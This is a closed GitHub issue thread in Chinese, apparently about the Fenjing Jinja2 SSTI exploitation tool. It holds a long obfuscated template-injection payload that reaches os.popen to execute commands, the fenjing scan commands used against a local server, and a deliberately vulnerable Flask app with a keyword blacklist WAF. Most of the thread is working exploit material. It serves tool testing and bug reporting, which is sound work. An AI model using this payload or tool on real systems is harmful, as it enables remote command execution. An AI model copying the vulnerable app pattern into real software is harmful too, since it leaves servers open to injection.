Closed Und3r1ine closed 6 months ago
这边测试是可以的,我再仔细看看
跑出来的payload是这个:
payload='{{joiner[(()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count,([{}|escape|urlencode|first,joiner|string|batch((x,x)|count)|first|last]|join*(x,x,x,x)|count)%(((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count)),()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count)|join][(()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count,([{}|escape|urlencode|first,joiner|string|batch((x,x)|count)|first|last]|join*(x,x,x,x,x,x,x)|count)%((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count,((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),(x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count,((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x)|count)),()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count)|join][(()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count,([{}|escape|urlencode|first,joiner|string|batch((x,x)|count)|first|last]|join*(x,x,x,x,x,x,x,x)|count)%(((x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x)|count)),()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count)|join][(()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count,([{}|escape|urlencode|first,joiner|string|batch((x,x)|count)|first|last]|join*(x,x,x,x,x,x)|count)%(((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x)|count),(x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count,((x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count)),()|select|string|batch(((x,x,x,x,x)|count*(x,x,x,x,x)|count))|first|last*(x,x)|count)|join](([{}|escape|urlencode|first,joiner|string|batch((x,x)|count)|first|last]|join*(x,x)|count)%(((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x)|count))).popen(([{}|escape|urlencode|first,joiner|string|batch((x,x)|count)|first|last]|join*(x,x,x,x)|count)%(((x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x,x,x,x,x)|count),((x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count*(x,x,x,x,x)|count),((x,x,x,x,x,x,x,x)|count*(x,x,x,x)|count),(x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x)|count)).read()}}'
无法复现,这边测试是可以的
把上面的waf黑名单放到app.py里可以成功用焚靖攻击。
我用的命令如下:
python -m fenjing scan --url 'http://127.0.0.1:5000' --interval 0.02
python -m fenjing scan --url 'http://127.0.0.1:5000' --interval 0.02 --detect-mode fast
app.py源码如下:
"""一个可以被SSTI的服务器
"""
from flask import Flask, request, render_template_string
app = Flask(__name__)
blacklist = [
"class",
"__",
"'",
'"',
"~",
"+",
"globals",
"request",
"{%",
"true",
"false",
"lipsum",
"url_for",
"get_flashed_messages",
"range",
"dict",
"cycler",
"self",
] + [str(x) for x in range(10)]
@app.route("/", methods=["GET", "POST"])
def index():
name = request.args.get("name", "world")
if any(w in name for w in blacklist):
return "NO!"
template = f"""
Hello, {name}
<form action="/" method="GET">
<input type="text" name="name" id="">
<input type="submit" value="">
</form>
"""
return render_template_string(template)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
版本问题,更新版本就能成功了! Thanks a lot.
过滤代码如下